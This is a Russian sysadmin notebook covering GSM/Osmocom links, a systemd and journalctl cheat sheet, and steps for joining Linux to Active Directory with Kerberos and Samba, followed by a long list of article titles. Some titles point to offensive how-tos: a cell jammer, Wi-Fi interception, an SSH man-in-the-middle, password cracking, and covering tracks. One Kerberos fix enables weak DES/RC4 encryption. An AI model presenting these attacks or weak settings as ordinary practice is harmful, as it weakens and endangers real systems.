Build a GSM Network with OpenBSC OsmoBTS OsmoTRX and USRP B210 on a Single PC
GSM на столе
https://github.com/shamrin/osmonitb-docker
https://hub.docker.com/r/shamrin/osmonitb
https://packagehub.suse.com/packages/openbsc/
https://packages.ubuntu.com/search?keywords=openbsc&searchon=names

https://osmocom.org/
Введение в Osmocom
Запускаем GSM-сеть у себя дома
Как собрать GSM телефон на базе SDR
https://github.com/srsLTE

Инструкция: Как Сделать Собственную Глушилку Сотовой Связи

разное
https://openwireless.org/
http://guifi.net/en
https://freifunk.net/en/



systemd
/usr/lib/systemd/system/: юниты, предоставляемые пакетами при их установке
/etc/systemd/system/: юниты, устанавливаемые системным администратором

Просмотреть список всех активных юнитов
$ systemctl list-units

Покажет любой юнит, который система загрузила или попыталась загрузить, независимо от текущего состояния в системе
$ systemctl list-units --all

неактивные юниты:
$ systemctl list-units --all --state=inactive

Посмотреть только активные юниты служб:
$ systemctl list-units --type=service

Вывод списка всех файлов юнитов
$ systemctl list-unit-files

Посмотреть только юниты, добавленные в автозагрузку:
$ systemctl list-unit-files | grep enabled

Увидеть дерево зависимостей юнита:
$ systemctl list-dependencies юнит
Чтобы показать обратные зависимости (юниты, зависящие от указанного юнита), вы можете добавить в команду флаг --reverse.

Проверка свойств юнита:
$ systemctl show юнит

Незамедлительно запустить юнит:
# systemctl start юнит

Незамедлительно остановить юнит:
# systemctl stop юнит

Перезапустить юнит:
# systemctl restart юнит

Попросить юнита перезагрузить его настройки:
# systemctl reload юнит

Показать статус юнита, а также запущен он или нет:
$ systemctl status юнит

Проверить, включен ли юнит в автозапуск при загрузке системы:
$ systemctl is-enabled юнит

Проверить, активен ли данный юнит:
$ systemctl is-active юнит

Включить юнит в автозапуск при загрузке системы:
# systemctl enable юнит

Убрать юнит из автозапуска при загрузке системы:
# systemctl disable юнит

Маскировать юнит, чтобы сделать невозможным его запуск:
# systemctl mask юнит

Снять маску юнита:
# systemctl unmask юнит

Показать страницу справочного руководства, связанного с юнитом (необходима поддержка этой функции в указанном файле юнита):
$ systemctl help юнит

Перезагрузить systemd для поиска новых или измененных юнитов:
# systemctl daemon-reload

список запущенных юнитов
$ systemctl list-unit-files | grep enabled

службы systemd, которые не смогли запуститься:
$ systemctl --failed

какие именно системные компоненты заставляют systemd ждать так долго
$ systemd-analyze blame




Управление питанием

Завершить работу и перезагрузить систему:
$ systemctl reboot

Завершить работу и выключить компьютер (с отключением питания):
$ systemctl poweroff

Перевести систему в ждущий режим:
$ systemctl suspend

Перевести систему в спящий режим:
$ systemctl hibernate

Перевести систему в режим гибридного сна (или suspend-to-both):
$ systemctl hybrid-sleep

https://wiki.archlinux.org/index.php/Systemd_(Русский)
Как использовать Systemctl для управления службами Systemd и юнитами

список команд systemd
systemd-analyze                - выводит информацию о времени загрузки системы и ее производительности
systemctl                      - основная команда для управления службами и юнитами в systemd. Используется для запуска, остановки, перезапуска и проверки статуса служб
systemd-cgls                   - выводит древовидную структуру контрольных групп (cgroups)
systemd-cgtop                  - выводит список процессов, запущенных в контрольных группах
systemd-analyze blame          - выводит список юнитов и время, затраченное на их запуск
systemd-analyze critical-chain - выводит диаграмму зависимостей юнитов и время, затраченное на запуск каждого из них
systemd-delta                  - показывает изменения в конфигурационных файлах, сделанные пользователем или системой
systemd-nspawn                 - запускает новый процесс в изолированном окружении
systemd-run                    - запускает произвольную команду в новом юните systemd
systemd-escape                 - кодирует или декодирует строку для использования в юнит-файлах systemd
journalctl                     - просмотр журнала системных сообщений
localectl                      - управление настройками локализации и клавиатуры
timedatectl                    - управление настройками времени и даты

journalctl
Доступ к журналу
gpasswd -a $USER wheel

Фильтрация сообщений по уровню ошибки

Вывод лога в текстовый файл
journalctl -b > /home/user/debug.log

Показывать записи журнала с момента запуска системы с расшифровкой ошибок:
journalctl -xb


journalctl -b # последняя загрузка
journalctl -b -1 # предыдущая загрузка

journalctl -b 0
journalctl -p err -b
journalctl -p err -b -1 -u NetworkManager

0 — EMERG (система неработоспособна);
1 — ALERT (требуется немедленное вмешательство);
2 — CRIT (критическое состояние);
3 — ERR (ошибка);
4 — WARNING (предупреждение);
5 — NOTICE (всё нормально, но следует обратить внимание);
6 — INFO (информационное сообщение);
7 —DEBUG (отложенная печать)

Просмотр сообщений ядра
journalctl -k
journalctl -k -b -2
journalctl --dmesg

Фильтрация по приложениям и службам
journalctl -u httpd.service -u mysql.service
journalctl -u nginx.service -u php-fpm.service —since today

Фильтрация по процессам, пользователям и группам

Просмотреть список всех доступных фильтров
man systemd.journal-fields

journalctl -F _PID # процессы
journalctl -F _UID # пользователи
journalctl -F _GID # группы

просмотреть логи всех процессов, запущенных от имени этого пользователя:
id -u www-data
journalctl _UID=33

Фильтрация по пути
journalctl /usr/bin/docker

фильтрация по дате и времени
journalctl --since "2017-05-05 00:01" --until "2017-05-06 01:40"


cat — только сообщения из логов без служебных полей;
export — бинарный формат, подходит для экспорта или резервного копирования логов;
short — формат вывода syslog;
short-iso — формат вывода syslog с метками времени в формате ISO 8601;
short-monotonic — формат вывода syslog c метками монотонного времени (monotonic timestamp);
short-precise — формат вывода syslog с метками точного времени (время событий указывается с точностью до микросекунд);
verbose — максимально подробный формат представления данных (включает даже те поля, которые в других форматах не отображаются).


Просмотр логов в режиме реального времени
journalctl -f

Просмотр информации о недавних событиях
journalctl -n
journalctl -n 20

Запись в журнал
systemd-cat echo "Текст сообщения"
journalctl -f
апр 18 01:14:13 arch1 echo[4822]: Текст сообщения

Поиск информации в журнале
journalctl SYSLOG_IDENTIFIER=Test
выводит все сообщения имеющие идентификатор сообщения Test.

Запись логов в стандартный вывод
journalctl --no-pager > log.txt

Выбор формата вывода
journalctl -u nginx.service -o json


Анализ этапа загрузки
Выявляем самые медленные процессы (от пользователя):

systemd-analyze blame
Выводим график загрузки процессов в векторный рисунок:

systemd-analyze plot > file.svg

Управление логгированием

Текущие разрешенные лимиты для журналов на диске и в памяти
systemctl status systemd-journald
journalctl -t systemd-journald

Все загрузки системы
journalctl --list-boots

Определение текущего объёма логов
journalctl --disk-usage

Настройка ротации логов в конфигурационном файле

/etc/systemd/journald.conf
/var/log/journal/

SystemMaxUse= максимальный объём, который логи могут занимать на диске;
SystemKeepFree= объём свободного места, которое должно оставаться на диске после сохранения логов;
SystemMaxFileSize= объём файла лога, по достижении которого он должен быть удален с диска;
RuntimeMaxUse= максимальный объём, который логи могут занимать в файловой системе /run;
RuntimeKeepFree= объём свободного места, которое должно оставаться в файловой системе /run после сохранения логов;
RuntimeMaxFileSize= объём файла лога, по достижении которого он должен быть удален из файловой системы /run.


systemctl restart systemd-journald # применить конфигурацию
journalctl --vacuum-size=100M # автоматически удалять все логи при превышении объёма
journalctl --vacuum-time=1months # Удалить все логии старше последнего месяца
systemctl status systemd-journald
journalctl -t systemd-journald

Централизованное хранение логов

С помощью команды systemd-journal-remote можно принимать логи с удалённых хостов
на каждом их этих хостов должен быть запущен демон systemd-journal-gatewayd
systemd-journal-remote −−url https://some.host:19531/

Команда systemd-journal-upload используется для загрузки логов с локальной машины в удалённое хранилище:
systemd-journal-upload --url https://some.host:19531/
journalctl -o export | systemd-journal-remote -o /tmp/dir -


coredumpctl
https://www.altlinux.org/Features/Core
5 инструментов из состава systemd, которые следует начать использовать прямо сейчас

Очистка списка coredumpctl
Сначала удалить журнал, удалив записи старше одного дня:
journalctl --vacuum-time=1d
Поскольку в списке «coredumpctl» перечислены файлы дампа, записанные журналом, вы можете вручную удалить файлы дампа из /var/lib/systemd/coredump, которых нет в списке.
coredumpctl list


Ввод Linux в домен (инструкция от Eset)
http://isa.darlex.com.ua/index.php/ubuntu/69-vvod-linux-v-domen-instruktsiya-ot-eset

В этом примере:

DEMO - домен (DEMO.LOCAL)
dc-demo - контроллер домена (dc-demo.demo.local, 192.168.0.201)
era-va - имя сервера CentOS (era-va.demo.local, 192.168.0.21)

================================================================================

Открываем терминал ERA VA

--------------------------------------------------------------------------------

1. Редактируем "hosts":

[root@era-VA ~]# nano /etc/hosts

Добавляем следующую запись:

192.168.0.201 dc-demo.demo.local

Ctrl+X - Y - Enter

--------------------------------------------------------------------------------

2. Cинхронизируем время с контроллером домена:

[root@era ~]# nano /etc/ntp.conf

server dc-demo.demo.local

Ctrl+X - Y - Enter

--------------------------------------------------------------------------------

3. Настраиваем Kerberos:

[root@era-VA ~]# nano /etc/krb5.conf

Приводим к виду:

[libdefaults]
default_realm = DEMO.LOCAL
ticket_lifetime = 24h
forwardable = yes
renew_lifetime = 7d

[realms]
DEMO.LOCAL = {
kdc = 192.168.0.201
}

[domain_realm]
.demo.local = DEMO.LOCAL

Ctrl+X - Y - Enter

--------------------------------------------------------------------------------

4. Настраиваем Samba:

[root@era ~]# nano /etc/samba/smb.conf

[global]
workgroup = DEMO
realm = demo.local

Ctrl+X - Y - Enter

--------------------------------------------------------------------------------

5. Указываем DNS:

[root@era ~]#nano /etc/resolv.conf

nameserver 192.168.0.201

Ctrl+X - Y - Enter

--------------------------------------------------------------------------------

6. Вводим в домен:

[root@era ~]# net ads join -U oksana
Enter oksana's password:
Вводим пароль и получаем результат:
Using short domain name -- DEMO
Joined 'ERA' to dns domain 'DEMO.LOCAL'
No DNS domain configured for era. Unable to perform DNS Update.
DNS update failed: NT_STATUS_INVALID_PARAMETER

Проверяем:

[root@era ~]# kinit oksana@DEMO.LOCAL
Password for oksana@DEMO.LOCAL:
[root@era ~]# klist
Ticket cache: FILE:/tmp/krb5cc_0
Default principal: oksana@DEMO.LOCAL

wbinfo -g
wbinfo -u

если не помогает
service smb stop; service winbind stop
net time set -S DEMO.LOCAL

ещё вариант
http://xgu.ru/wiki/Squid,_Kerberos_и_LDAP




в командной строке на контроллере домена создаём файл ключа
ktpass -princ HTTP/myproxy123.domain.office.local@DOMAIN.OFFICE.LOCAL -mapuser DOMAIN\squid -pass "password123" -ptype KRB5_NT_SRV_HST -out C:\myproxy123.keytab

https://docs.microsoft.com/ru-ru/windows-server/administration/windows-commands/ktpass
- KRB5_NT_PRINCIPAL является общим типом участника (рекомендуется).
- KRB5_NT_SRV_INST является экземпляром службы пользователя.
- KRB5_NT_SRV_HST является экземпляром службы узла

копируем в /etc/myproxy123.keytab и проверяем
kinit -V -k -t /etc/myproxy123 HTTP/myproxy123.domain.office.local@DOMAIN.OFFICE.LOCAL

Удалим полученный билет командой:
kdestroy

Для автоматической аутентификации через Squid, необходимо внести следующие изменения - добавляем в файл /etc/sysconfig/squid строки
KRB5_KTNAME=/etc/myproxy123.keytab
export KRB5_KTNAME


Дополнение
https://michlstechblog.info/blog/linux-kerberos-authentification-against-windows-active-directory/#more-1628
http://unixwall.ru/
kdc-has-no-support-for-encryption-type-while-getting-initial-credentials/
https://support.symantec.com/en_US/article.TECH220711.html

ошибка KDC has no support for encryption type while getting initial credentials

Правим файл /etc/krb5.conf

В секцию [libdefaults] добавляем:

default_tgs_enctypes = arcfour-hmac-md5 des-cbc-crc des-cbc-md5
default_tkt_enctypes = arcfour-hmac-md5 des-cbc-crc des-cbc-md5


Удаление из домена

https://habr.com/post/337556/
net ads leave -U %username%
net ads leave contoso.com -UAdministrator
adcli reset-computer --domain=domain.example.com host2


просто создать пользователя в samba
cоздание пользователя в системе без shell и домашней директории
sudo useradd -d /dev/null -s /dev/null username #где username - имя пользователя.
sudo smbpasswd -a username #добавляем пользователя username в samba
sudo smbpasswd -e username #активируем пользователя username в samba
sudo /etc/init.d/smbd restart

Расшариваем папку
nano /etc/samba/smb.conf

[backup]
path = /mnt/backup
valid users = username
guest ok = no
writable = yes
browsable = yes

ещё рецепт

создание пользователя
samba-tool user add "user_name"
делаем пользователя «безвременным», разблокировать пользователя:
samba-tool user setexpiry "user_name" —noexpiry
смена пароля пользователя
samba-tool user setpassword "user_name"
создание группы
samba-tool group add "group_name"
добавление созданного пользователя в группу
samba-tool group addmembers "group_name" "user_name"

можно и так:
smbpasswd -a USERNAME
smbpasswd -e USERNAME
groupadd sambashare
usermod -a -G sambashare ваше_имя_пользователя


http://wiki.lblss.ru/smbpasswd

Создание нового пользователя:
# smbpasswd -a User_name

Смена пароля у существующего пользователя:
# smbpasswd User_name

Удаление существующего пользователя:
# smbpasswd -x User_name

Приостановить действие учетной записи без удаления:
# smbpasswd -d User_name

Возобновить действие учетной записи:
# smbpasswd -e User_name

Подключение данного компьютера к существующему домену:
# smbpasswd -j Domain_name -U Administrator_name

smbpasswd в сценариях
Обычно команда smbpasswd работает интерактивно - выводит запросы и ожидает ответы. Однако, при помощи ключа -s (silent) можно подавить вывод запросов и читать ответы со стандартного ввода. Это позволит вызывать smbpasswd из скриптов. Ниже пара примеров на shell/bash, скрипт запускается от рута.

Добавить samba-пользователя:

(echo "$UserPassWord"; echo "$UserPassWord") | smbpasswd -s -a "$User_name"
Сменить пользовательский пароль:

(echo "$NewPassWord"; echo "$NewPassWord") | smbpasswd -s "$User_name"


https://www.sysadminwiki.ru/wiki/Linux_в_домене_Active_Directory
Все о Samba
Общие сведения о SAMBA
Samba как контроллер домена AD
Настройка Samba в качестве контроллера домена Active Directory
Присоединение контроллера домена Samba к существующему Active Directory
Превращаем Ubuntu Server в контроллер домена с помощью samba-tool
Разворачиваем файловый сервер Samba 4.5 с интеграцией Active Directory на Debian 9 Stretch
Аутентификация Samba в домене Windows
LDAP-репликация и Samba
Setting up Samba as an Active Directory Domain Controller
Руководство администратора OpenLDAP 2.4
Перекрестное опыление: управляем Linux из-под Windows, и наоборот






chmod +x post_install.sh




https://gist.github.com/waleedahmad/
http://web.archive.org/web/20170704190338/https://linuxthebest.net/posleustanovochnyy-skript-dlya-ubuntulinux-mint/

Разрешение подобрать своё





чтобы работало при старте



В Xfce в диспетчере настроек "Сеансы и запуск" добавляем приложение и ставим галочку.
или
apt install arandr

http://zarubochki.ru/node/61




подборка сисадмина 2
подборка сисадмина видео

раскрыть тему

Сайты



http://ru.manpages.org/
http://www.ciscolab.ru/
http://ciscomaster.ru/
https://nginxconfig.io/
https://technet.microsoft.com/ru-ru/
http://www.certification.ru/
http://nastroisam.ru/
http://winitpro.ru/
https://windowsnotes.ru/
http://www.vmgu.ru/
http://rsdn.org/
http://ab57.ru/
http://cmd4win.ru/
http://www.4its.ru/
http://zabrosov.ru/
http://www.f-notes.info/
http://system-administrators.info/
https://wiki.autosys.tk/doku.php
https://serveradmin.ru/
http://admin-vestnik.ru/
http://admin-gu.ru
http://www.adminia.ru/
http://freesource.info/wiki
http://it-inside.org/
http://mixed-spb.ru/
https://studylinux.ru/
http://www.zabrosov.ru/
http://wiki.dieg.info/
http://wiki.enchtex.info/
http://it-connection.ru/
https://litl-admin.ru/
https://habrahabr.ru/
https://xakep.ru/
http://www.linuxformat.ru/
https://codeby.net/
https://tproger.ru/
http://www.site-helper.ru/
http://www.oszone.net/
http://pyatilistnik.org/
http://rs232.net.ru
http://bog.pp.ru/map_full.html
http://ccienetlab.com/
http://www.script-coding.com/
https://academy.yandex.ru/


Блоги



http://uzverss.livejournal.com/tag
https://blogs.technet.microsoft.com/mark_russinovich/
http://gpo-planet.com/
http://itband.ru/
http://ixnfo.com/
http://eax.me/
http://olemskoi.ru/
https://debian.pro/
http://sysadminblog.ru/
http://www.vottak.info/
http://sonikelf.ru/
http://xaker-it.ru/
http://blogsisadmina.ru/
http://www.allwork.kiev.ua/
https://sergeysl.ru/
https://cdeblog.ru/
http://slusar.su/
http://fx-files.ru/
https://linkmeup.ru/
https://sysadminblog.ru/
https://andreyex.ru/
http://mikrotik-ukraine.blogspot.ru/
http://vladimir-stupin.blogspot.ru/
http://nosovdn-cisco.blogspot.ru/
http://prosto-seti.blogspot.ru/
https://yvoinov.blogspot.com/
https://bga68.livejournal.com/
https://interface31.ru/tech_it/index.html
https://vk.com/linuxbash
https://vk.com/sysodmins
https://vk.com/adminsclub
https://vk.com/yandex.academy

133 канала и чата в Telegram для программистов


Статьи



сеть
Сборник полезных ссылок для системного администратора
Еще раз про IP-адреса, маски подсетей и вообще
Каверзные сетевые вопросы
А вы хорошо знаете статическую маршрутизацию?
Так сколько же адресов IPv4 пропадет?
Специальные диапазоны IP адресов
------------------------------------------------------------------------
Основы компьютерных сетей. Тема №1. Основные сетевые термины и сетевые модели
Основы компьютерных сетей. Тема №5. Понятие IP адресации, масок подсетей и их расчет
IP - адреса и разбиение на подсети
Самостоятельно готовимся к CCNA: практические советы
Конспект по материалам курса ICND1 100-101
Краткие заметки по Cisco CCNA (часть ICND1)
Пропавшие без вести (топ 10 полезных команд не попавших в курс CCNA)
------------------------------------------------------------------------
Сети для самых маленьких
Рассмотрим, создадим и заюзаем аппаратную петлю на порте коммутатора
Loopdetect своими руками
https://ru.wikipedia.org/wiki/IPv4
Эмулятор UNetLab — революционный прыжок
Лабораторная работа «Обучаемся настраивать сети в GNU/Linux»
http://xgu.ru/wiki/Cisco_ASA
Часто используемая терминология локальных сетей
Что роняет Ethernet-сеть
[Конспект админа] Домены, адреса и Windows: смешивать, но не взбалтывать
Настраиваем доменную аутентификацию на сетевом оборудовании

D-Link CLI
Основные команды для работы с коммутаторами D-Link серии DES и DXS
Cisco Dhcp relay и D-Link Разница
О построении провайдерской сети в небольшом городе. Часть 1
О построении провайдерской сети в небольшом городе. Часть 2

Проброс портов в Микротике — ликбез для начинающих
------------------------------------------------------------------------
Список портов TCP и UDP
Какие порты проверяются?
Скрытый канал поверх ICMP

Работа с почтой при помощи Python
Python для сетевых инженеров: начало пути
------------------------------------------------------------------------
Одна из причин потерь на сети 802.11
Как сделать Wi-Fi без роутера в Linux
------------------------------------------------------------------------
Обратная инженерия сетевого трафика

Первое знакомство с командой ss
Как узнать имена хостов для большого количества IP адресов
Сетевой pivoting: понятие, примеры, техники, инструменты


Systemd за пять минут
Шпаргалка по управлению сервисами CentOS 7 с systemd
https://wiki.archlinux.org/index.php/Systemd_(Русский)
коротко об systemd
Структура директорий Linux. Важные файлы Linux
Что такое файловая система /proc в Linux
57 инструментов командной строки для мониторинга производительности Linux
Какие есть полезные инструменты с интерфейсом командной строки для системных администраторов Linux
------------------------------------------------------------------------
Удаление большого количества файлов в директории
Создание "неудаляемой" папки или файла в Linux

Восстановление данных
Работа с теневыми копиями Windows. Предыдущие версии файлов.
Как пользоваться одной из легендарных программ по диагностике жёстких дисков под названием Victoria!
Восстановление повреждённых файлов на основе CRC32
------------------------------------------------------------------------
Сборник полезных ссылок для системного администратора
Подборка материала для начинающего linux-сисадмина
Что такое RFC?
Пасхалки в DNS
------------------------------------------------------------------------
Сложно о простом. Модель OSI и TCP/IP
Сложно о простом. Физический уровень (L1) модели OSI
Сложно о простом. Канальный уровень (L2) модели OSI
Сложно о простом. Сетевой уровень (L3) модели OSI
Сложно о простом. Транспортный уровень (L4) модели OSI
Сложно о простом. Сеансовый уровень (L5), представительный (L6) уровень и прикладной (L7) уровень
Сложно о простом. Самые популярные заголовки уровня L2 модели OSI в Ethernet
Сложно о простом. Самые популярные заголовки уровня L3 и L4 модели OSI
Сложно о простом. Самые популярные протоколы и принципы их работы. ARP, ICMP, IGMP, TCP, UDP, SCTP, DNS и DHCP. Часть 1
Сложно о простом. Самые популярные протоколы туннелирования, динамической маршрутизации и принципы их работы. Часть 2
Сложно о простом. Самые популярные протоколы и принципы их работы. HTTP, HTTPS, SSL и TLS. Часть 3
------------------------------------------------------------------------
Альт Сервер 8.0 Документация

AD LDAP SAMBA GPO
https://ru.bmstu.wiki/Microsoft_Active_Directory

статьи по Active Directory
Samba, LDAP, Ввод Linux в домен
восстановление AD

Настраиваем и автоматизируем развёртывание Active Directory
RDS НА ОСНОВЕ СЕАНСОВ В WINDOWS SERVER 2012 R2
Настройка удаленных приложений RemoteApp в Windows Server 2008 R2
Как перенести рабочую активированную Windows 10 на другой компьютер с другим «железом»
Включаем дедупликацию в Windows 10
Команды ms-settings для быстрого доступа к настройкам Windows 10

Анализ реестра Windows
powershell команды управления виртуальными машинами
------------------------------------------------------------------------
Cтроим инфраструктуру на базе продуктов MS
Почему я люблю Microsoft. Заметки зомби
Строим инфраструктуру на базе продуктов MS
------------------------------------------------------------------------

Отсылка писем с адреса другого пользователя
Подключение общего ящика Exchange 2010
Как обнаружить, включить и отключить протоколы SMB версий 1, 2 и 3 в Windows и Windows Server

Перекрестное опыление: управляем Linux из-под Windows, и наоборот
Ввод Linux в домен (инструкция от Eset)
Устанавливаем ALDPro Astra Linux


активация
Узнать ключ активации Windows

------------------------------------------------------------------------
Скандальная правда об отладке ядерного кода в Linux
Как понять, что происходит на сервере
Настройка Linux для высоконагруженных проектов и защиты от DDoS
Получение информации об аппаратном обеспечении Linux-компьютера без использования отвертки
Введение в ELK: собираем, фильтруем и анализируем большие данные
------------------------------------------------------------------------
HAPRoxy для Percona или Galera на CentOS. Его настройка и мониторинг в Zabbix
Разбираем методы проксирования на основе HAProxy
Универсальный https c использованием ГОСТ сертификата
USB over IP для личного использования: организовываем клиент-серверный комплекс на Linux и Windows
------------------------------------------------------------------------
Перестаем бояться виртуализации при помощи KVM
Управление виртуальными машинами с помощью virsh
Настройка LEMP-сервера с помощью Ansible для простых проектов. Часть первая: знакомство с Ansible
Установка и настройка VMmanager 5 на Linux

подборка по виртуализации и облакам
------------------------------------------------------------------------
Полное практическое руководство по Docker: с нуля до кластера на AWS

IceCash 2.0 Web АРМ Кассира и АИС по обмену данными с кассами под Linux на Python
http://docs.artix.su/
Как я настраивал новые утилиты по работе с электронной подписью в Linux
ЕГАИС. Устанавливаем УТМ на Debian (Ubuntu)
установка УТМ ЕГАИС на ubuntu и debian
------------------------------------------------------------------------

1C подборка
Публикация базы данных 1С Предприятия на WEB сервере Apache
Инструкция по установке и настройке SQL Server и 1С
Как правильно настроить MS SQL сервер для работы с 1С
Резервное копирование 1С средствами MS SQL
Зеркалирование баз данных на MS SQL
Bacula: для тех кому надо по-быстрому и в картинках
Пошаговая инструкция обновления платформы 1С версии 8.3
Часто встречающиеся ошибки 1С и общие способы их решения
Установка PostgreSQL 10 для 1С:Предприятие на Debian / Ubuntu (сборка от 1С)
http://1c.postgrespro.ru/
Экономим на «винде». Как оптимизировать затраты на софт на примере бухгалтерии


Поваренная книга миграции данных между БД или как перенести данные из одной БД в другую с минимальной болью

Администрирование PostgreSQL для начинающих (часть 1)
Администрирование PostgreSQL для начинающих (часть 2)
Администрирование PostgreSQL для начинающих (часть 3)
Администрирование PostgreSQL для начинающих (часть 4)
Администрирование PostgreSQL для начинающих (часть 5)
------------------------------------------------------------------------
Каталог биллинговых систем
первая установка и настройка оборудования Ubiquiti
------------------------------------------------------------------------
Создаем свой терминал в Google Colab для работ в GitHub, GDrive, NGrok и.т.д
https://github.com/demining/TerminalGoogleColab
Обзор современных систем веб-рабочих столов
LTSP: Терминальный сервер на Linux
LTSP: Терминальный сервер на Linux
установка сервера терминалов XRDP на Debian 9.
------------------------------------------------------------------------
curl ifconfig.co
curl eth0.me
curl 2ip.ru
curl ipinfo.io
curl ipinfo.io/ip
curl api.ipify.org
curl api.ipify.org?format=json

Как всегда знать свой адрес в сети и не платить за белый IP
http://v4.ipv6-test.com/api/myip.php
http://v6.ipv6-test.com/api/myip.php
http://v4v6.ipv6-test.com/api/myip.php

https://freedns.afraid.org/
https://libp2p.io/

Обход NAT с помощью IPv6 & CloudFlare
------------------------------------------------------------------------
99+ бесплатных инструментов для анализа зловредов
------------------------------------------------------------------------

Как держать 20 тысяч VPN клиентов на серверах за $5 (Отличительные черты убогого хостинга)

------------------------------------------------------------------------
http://xgu.ru/wiki/Zone-Based_Policy_Firewall
ZBFW для руководства устранения неполадок конфигурации XE IOS
http://help.ubuntu.ru/wiki/openvpn
http://linux-bash.ru/mcommand.html
------------------------------------------------------------------------
Дисковый массив HP EVA — все просто!

PhantomEx: Готовим почву (создание образа HDD и установка загрузчика GRUB2)
PhantomEx: Спецификация Multiboot - делаем заготовку ядра

Активация discard (TRIM) на Linux для SSD
------------------------------------------------------------------------
Самостоятельная настройка VDS / VPS
Установка и настройка Zabbix 3.0 на CentOS 7
Установка Debian через ssh.
help.ubuntu TFTP
https://help.ubuntu.com/community/TFTP
Установка и настройка vsFTPd на Ubuntu
Памятка по управлению пакетами в Debian и Ubuntu
------------------------------------------------------------------------
Как работают браузеры. Часть 1

Тюнинг сетевого стека Linux для ленивых

безопасность
https://ru.wikibooks.org/wiki/Iptables
ufw - простой Firewall
ipfw Примеры из жизни
Создание и тестирование Firewall в Linux, Часть 2.2. Таблицы Firewall. Доступ к TCP\IP структурам

21 пример использования iptables для администраторов.
firewall-cmd настройка брадмаузера
изменение времени файлов, удаление истории посещения и команд в linux
Как защитить свой VDS сервер: 53 000 попыток взлома за 5 дней

Шифрование разделов
Шифрование файлов
Прячем шифрованные диски

------------------------------------------------------------------------
Запуск сторонних форматов в Linux или разбираемся с binfmt
Основы работы с фреймворком Radare
Используем Google для взлома: 6 приемов

Виртуальные Wi-Fi интерфейсы для одновременного использования Wi-Fi адаптера в разных режимах
перехвата трафика в Wi-Fi сети.
Тестирование на проникновение и усиление безопасности Вашей WiFi сети. Kali Linux⁠⁠
Wifi_Jammer: как глушить WiFi⁠⁠

Отслеживание Bluetooth-устройств: эксперимент и выводы

Как узнать с каких IP заходили на мой сервер через удаленный рабочий стол (RDP)?
Как узнать, какие USB устройства подключались к Linux
Аудит безопасности IP камер
Анализ и разбивка составных файлов (прошивки, образы дисков)

Как перехватить пароль SSH. Атака человек-посередине на SSH

Инструменты Kali Linux
Hashcat
Практические примеры использования Hashcat
Как в Linux взламывать пароли видеокартой и центральным процессором
------------------------------------------------------------------------
уязвимости
https://www.debian.org/security/
https://people.canonical.com/~ubuntu-security/cve/
https://cve.mitre.org/data/refs/refmap/source-DEBIAN.html
https://cve.mitre.org/data/refs/index.html
https://access.redhat.com/security/security-updates/#/cve
https://www.openwall.com/lists/oss-security/
CVE-2014-0196
Как попасть на дачу президента в пять часов утра
Как СОРМ сливает наши с вами данные всем желающим
Китайские закладки: непридуманная история о виртуализации, безопасности и шпионах — «Хакер»

Клонируем бесконтактную карту с помощью мобильного приложения
Как украсть деньги с бесконтактной карты и Apple Pay
Мошенничество с картами с чипом по-бразильски

https://ru.wikipedia.org/wiki/AMD_Platform_Security_Processor
https://ru.wikipedia.org/wiki/Intel_Management_Engine
Безопасность прошивок на примере подсистемы Intel Management Engine
Intel ME. Как избежать восстания машин?

Анализ и разбивка составных файлов (прошивки, образы дисков)
Анализ вируса под Linux на Bash

------------------------------------------------------------------------
как мы нашли, проанализировали (с помощью Reddit) и в итоге поймали виновника вредоносного устройства в нашей сети
RogueOne: создание мошеннической точки доступа Wi-Fi с помощью Raspberry Pi
Доступ к журналу событий из командной строки
Использование RADIUS (Windows Network Policy Server) для аутентификации и авторизации на ИПБ APC (Web/SNMP Management Card)
LAN-party для пентестеров: прорываемся к домен контроллеру через розетку
------------------------------------------------------------------------
Как сбросить пароль администратора домена
Сброс или изменение пароля Windows с помощью Linux
Как сбросить пароль Windows
Как УЗНАТЬ пароль Windows?

Commando VM: Windows для хакеров
Утилиты NirSoft для извлечения информации из Windows

Обзор криминалистических артефактов Windows
Вертим логи как хотим ― анализ журналов в системах Windows
Повышение привилегий в Windows-среде
Как посмотреть логи windows
C:\Windows\System32\LogFiles\
C:\Users\User\AppData\Roaming\Microsoft\Windows\Recent
Log Parser Studio
Отчет о VPN подключениях в ISA
Как узнать с каких IP заходили на мой сервер через удаленный рабочий стол (RDP)?
Список кодов ошибок Windows BSoD

Как удалить из реестра все что нужно, даже если нельзя?
имени администратора и выполнить команду psexec.exe -i -s regedit.exe

Ошибка «Для сервера терминалов достигнуто максимально возможное число разрешенных подключений»
mstsc /admin

------------------------------------------------------------------------
Пространства имён
обзор пользовательских пространств имён Linux
user_namespaces
Глубокое погружение в Linux namespaces Часть 1
Глубокое погружение в Linux namespaces Часть 2
Глубокое погружение в Linux namespaces Часть 3
Глубокое погружение в Linux namespaces Часть 4

Методика безопасности, нейтрализующая угрозу эксплуатации уязвимости ядра linux
Для нейтрализации угрозы эксплуатации уязвимости ядра linux необходимо запретить непривилегированным пользователям создавать новые пространства имен пользователей, установив значение параметра ядра kernel.unprivileged_userns_clone равным "0". Чтобы проверить текущее значение параметра ядра необходимо выполнить команду:

sudo sysctl kernel.unprivileged_userns_clone
cat /proc/sys/kernel/unprivileged_userns_clone

Параметр ядра kernel.unprivileged_userns_clone может принимать следующие значения:
0 — в случае, когда непривилегированным пользователям запрещено создавать новые пространства имен пользователей;
1 — в случае, когда непривилегированным пользователям разрешено создавать новые пространства имен пользователей.
Для того чтобы временно (до перезагрузки системы) запретить непривилегированным пользователям создавать новые пространства имен пользователей, необходимо выполнить команду:

sudo sysctl -w kernel.unprivileged_userns_clone=0

Для того чтобы установленное значение параметра ядра сохранилось после перезагрузки, необходимо:

Добавить в файл /etc/sysctl.d/999-astra.conf следующую строку:

kernel.unprivileged_userns_clone = 0
Это можно сделать следующей командой:

echo "kernel.unprivileged_userns_clone = 0" | sudo tee -a /etc/sysctl.d/999-astra.conf
Перезагрузить параметры ядра, выполнив команду:

sudo sysctl --system

------------------------------------------------------------------------
Как принять участие в open source проекте Chromium
когда нету configure
Kali Linux в Windows
Insanity Framework. Взлом удаленного ПК с помошью PDF.
Как с помощью Linux сбросить пароль и получить права админа в Windows 7
Сброс пароля root (CentOS, Red Hat)
Скрытность в Linux. Заметаем следы
FAQ по восстановлению забытого пароля администратора в MySQL
Как взломать Telegram и WhatsApp: спецслужбы не нужны
Event Tracing for Windows на стороне зла. Но это не точно
DPI мобильных операторов: от бесплатного интернета до раскрытия номера и местоположения
Сейчас как заавтоматизирую Пишем скрипт который будет набирать пароли и команды за нас
Pexpect, терминалы и more ненависти
15 лучших и бесплатных инструментов компьютерного криминалиста
